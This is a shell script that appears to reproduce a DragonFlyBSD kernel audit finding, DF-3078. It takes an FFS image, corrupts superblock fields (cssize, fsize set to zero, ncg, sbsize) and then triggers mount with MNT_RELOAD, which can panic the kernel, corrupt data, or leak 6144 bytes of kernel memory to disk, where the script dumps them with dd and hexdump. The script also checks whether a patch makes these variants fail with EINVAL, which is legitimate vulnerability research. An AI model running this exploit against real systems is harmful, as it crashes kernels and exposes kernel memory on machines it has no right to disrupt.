DragonFlyBSD Kernel Audit
DF-3078 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-3078 reproduce — run IN the guest as root:  sh /root/rt/run.sh <variant>
#   variants: unchanged | cssize | fsize0 | ncg | sbsize_leak | sbsize_fault
# Baseline (unpatched kernel): cssize/fsize0/ncg/sbsize_fault PANIC or corrupt;
# patched kernel: every crafted variant returns EINVAL from mount(RELOAD)
# and the guest stays up; 'unchanged' still reloads fine (regression).
set -u
V="${1:-cssize}"
cd /root/rt

# fresh image + mounts
for d in /mnt/gv; do umount $d 2>/dev/null; done
vnconfig -u vn0 2>/dev/null
./mkimg.sh
vnconfig -c vn0 ffs.img
mkdir -p /mnt/gv
mount -t ufs -o ro /dev/vn0 /mnt/gv || { echo MOUNT_FAIL; exit 3; }
echo MOUNTED_RO

case "$V" in
  unchanged)     : ;;
  cssize)        ./craft ffs.img 156 524288 ;;   # fs_cssize 2048 -> 512KB
  fsize0)        ./craft ffs.img 52 0 ;;          # fs_fsize -> 0 (div0)
  ncg)           ./craft ffs.img 44 536870912 ;;  # fs_ncg 1 -> 0x20000000
  sbsize_leak)   ./craft ffs.img 104 8192 ;;      # fs_sbsize 2048 -> 8192
  sbsize_fault)  ./craft ffs.img 104 65536 ;;     # fs_sbsize -> 65536
  *) echo "unknown variant"; exit 4 ;;
esac
[ "$V" = "unchanged" ] || echo "CRAFTED $V"
sync

# the trigger: mount(2) with MNT_UPDATE|MNT_RELOAD|MNT_RDONLY
./reload /mnt/gv
RC=$?
echo "RELOAD_RC=$RC"

if [ "$V" = "sbsize_leak" ] || [ "$V" = "sbsize_fault" ]; then
  # adopt-then-leak: upgrade to RW -> ffs_sbupdate bcopy(fs, bp, fs_sbsize)
  # reads fs_sbsize bytes out of the mount-time um_fs allocation
  mount -u -o rw /dev/vn0 /mnt/gv
  echo "RW_UPGRADE_RC=$?"
  umount /mnt/gv
  vnconfig -u vn0
  sync
  if [ "$V" = "sbsize_leak" ]; then
    # the 6144 bytes beyond the in-core superblock are now ON THE MEDIA
    dd if=ffs.img bs=4096 skip=2 count=2 2>/dev/null > leak_out.bin
    dd if=leak_out.bin bs=1 skip=2048 count=6144 2>/dev/null | hexdump -C | head
  fi
  echo "GUEST_STILL_UP=$(/bin/echo OK)"
  exit 0
fi

echo "GUEST_STILL_UP"
ls /mnt/gv >/dev/null 2>&1 && echo "FS_ACCESSIBLE"